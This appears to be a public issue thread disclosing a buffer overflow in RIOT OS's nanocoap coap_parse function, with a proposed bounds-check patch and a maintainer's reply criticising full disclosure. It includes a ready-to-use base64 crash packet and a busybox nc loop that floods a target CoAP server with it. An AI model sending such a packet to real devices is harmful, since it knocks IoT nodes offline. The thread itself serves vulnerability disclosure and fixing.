nanocoap: options buffer overflow

[nmeum]

Description

nanocoap contains a buffer overflow which has been introduced with
commit dee793d. The bug allows an
attacker to overflow the options buffer in the coap_pkt_t supplied
to coap_parse.

The relevant code part is the following:

if (option_delta) {
        optpos->opt_num = option_nr;
        optpos->offset = (uintptr_t)option_start - (uintptr_t)hdr;
        DEBUG("optpos option_nr=%u %u\n", (unsigned)option_nr, (unsigned)optpos->offset);
        optpos++;
        option_count++;
}

optpos is a pointer to the options buffer in the coap_pkt_t. This
pointer is incremented without checking if it exceeds
NANOCOAP_NOPTS_MAX (the size of the buffer). It also used to write a
new option at the current position in the options buffer.

To trigger this buffer overflow an attacker can send a CoAP request
containing more than NANOCOAP_NOPTS_MAX options to a nanocoap server.
This may allow an attacker to crash the nanocoap server and cause a
denial of service. Additionally, a clever attacker might also be able to
use this for a remote code execution.

Steps to reproduce the issue

A malicious CoAP packet triggering this vulnerability can be send to a RIOT
node in order to crash it. I created a malicious packet containing 42 which
should successfully crash native.

To test this build examples/nanocoap_server and send the crafted
malicious packet to it. For example:

$ echo QAEJJgEXERcRFxEXERcRFxEXERcRFxEXERcRFxEXERcRFxEXERcRFxEXERcRFxEXERcRFxEXERcRFxEXERcRFxEXERcRFxEXERcRFxEXERcRFxEXERcRFw== > crash
$ while sleep 1; do busybox nc -u '[ip-address]' 5683 -e base64 -d crash; done

---

I personally prefer full disclosure for reporting such issues. Especially since #10749 hasn't been resolved yet. I also believe that doing full disclosure including documentation of an exploit worked quite well to get #10739 fixed in time. Besides, I didn't want to sit on this any longer and full disclosure is way better than no disclosure at all.

[nmeum]

A possible hotfix for this issue:

diff --git a/sys/net/application_layer/nanocoap/nanocoap.c b/sys/net/application_layer/nanocoap/nanocoap.c
index 672d31b10..8f1963552 100644
--- a/sys/net/application_layer/nanocoap/nanocoap.c
+++ b/sys/net/application_layer/nanocoap/nanocoap.c
@@ -111,6 +111,9 @@ int coap_parse(coap_pkt_t *pkt, uint8_t *buf, size_t len)
                 DEBUG("optpos option_nr=%u %u\n", (unsigned)option_nr, (unsigned)optpos->offset);
                 optpos++;
                 option_count++;
+
+                if (option_count >= NANOCOAP_NOPTS_MAX)
+                    return -ENOMEM;
             }
 
             pkt_pos += option_len;

[kaspar030]

Thanks for the report and proposed fix.

Fixed by #10754.

I personally prefer full disclosure for reporting such issues. Especially since #10749 hasn't been resolved yet. I also believe that doing full disclosure including documentation of an exploit worked quite well to get #10739 fixed in time. Besides, I didn't want to sit on this any longer and full disclosure is way better than no disclosure at all.

IMO you should allow projects to do their own security policy. Obviously you were not scared of the effects of disclosing this bug via unencrypted mail to security@riot-os.org, so why didn't you disclose it there, and what has #10749 got to do with it?

By disclosing this as you did, you're effectively side-stepping some policies we've put in place to make attacker's life harder. E.g., we don't call the issues "OMG 0day buffer overflow", but maybe fix it using a PR called "fix options_count check", in order to get people to actually spend time checking bug fixes for remote exploitability instead of advertising them as such.